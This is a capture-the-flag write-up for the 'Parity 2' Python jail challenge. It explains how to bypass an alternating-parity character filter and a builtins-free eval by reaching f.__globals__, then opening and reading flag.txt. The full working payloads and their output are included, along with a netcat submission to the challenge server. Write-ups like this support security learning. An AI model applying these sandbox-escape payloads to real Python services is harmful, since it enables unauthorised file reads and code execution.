๐ Parity 2
๐ Before you start
You can donate to me via Buy Me a Coffee or follow me on Github
๐ Challenge Statement
#!/usr/local/bin/python3
inp = input("> ")
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
print(v, i, ord(v), i % 2 == ord(v) % 2)
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp, {"__builtins__": None, 'f': f})
๐ฉ Getting the Flag
The challenge seems similar to the previous version. We still have an eval
function, but this time it is executed in a local scope where only the function f
is defined.
First, we need to retrieve a global scope in order to access the open
function and read the flag.txt
file.
We found that we can call the function f
to get the global scope:
f.__globals__["__builtins__"]["open"]('flag.txt')
Now, we need to implement this using a combination of odd and even ASCII characters.
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""
To achieve this, we used the following tricks:
\t
is an odd ASCII character.- ``` `` is an even ASCII character.
- The
open
keyword satisfies the conditions of the challenge. - The use of
''""
allows stringconcatenation
without the need for+
.
Next, if we execute our code with print
set in the builtins for debugging:
$ cat chal.py
#!/usr/local/bin/python3
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' )"""
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
print(v, i, ord(v), i % 2 == ord(v) % 2)
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
print('bad')
exit()
inp = f"print({inp})"
eval(inp, {"__builtins__": __builtins__, 'f': f})
$ python3 main.py
<_io.TextIOWrapper name='flag.txt' mode='r' encoding='UTF-8'>
The file flag.txt
is opened successfully. Now, we need to find a way to read
its content.
For this, we can use a neat trick:
The Magic of for โค๏ธ
In Python, since thereโs no default type
restriction, we can iterate over objects that are not lists to get their content.
$ python3
Python 3.12.5+ (heads/3.12-dirty:7dec3d7acbb, Aug 23 2024, 18:26:06) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> [ x for x in open("flag.txt") ]
['jail{flag_will_be_here_on_remote}\n']
Now, let's proceed as follows:
inp = """([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] )"""
And, like in the previous part, we will call another eval
so that the script's eval
can output the flag
#!/usr/local/bin/python3
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
print(v, i, ord(v), i % 2 == ord(v) % 2)
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print(f"bad. char: {ascii(v)}, ord: {ord(v)}, index: {i}")
print('bad')
exit()
eval(inp, {"__builtins__": None, 'f': f})
This gives us:
$ python3 chal.py
Traceback (most recent call last):
File "/mnt/c/Users/MisTrale/Desktop/Perso/CTF/WriteUps/JailCtf2024/Parity-2/main.py", line 19, in <module>
eval(inp, {"__builtins__": None, 'f': f})
File "<string>", line 1, in <module>
File "<string>", line 1
jail{flag_will_be_here_on_remote}
^
SyntaxError: invalid syntax
Finally, we can send our code to the server:
$ cat inject.py
inp = """f\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].eval\t(\t([ \tx\t \tfor\t \tx\t in\tf\t.__globals__ [ '__b'"u"\t"i"'l' 'tins_' '_' ].open\t('f' 'l'"a"\t"g"'.' 't' 'x' 't' ) ] ) [0] )"""
print(inp)
$ python3 chal.py | nc challs2.pyjail.club 7992
> Traceback (most recent call last):
File "/app/run", line 13, in <module>
eval(inp, {"__builtins__": None, 'f': f})
File "<string>", line 1, in <module>
File "<string>", line 1
jail{parity2_1e2e8963ea65a0333f617}
^
SyntaxError: invalid syntax
๐ Support
๐ Before you leave
You can donate to me via Buy Me a Coffee or follow me on Github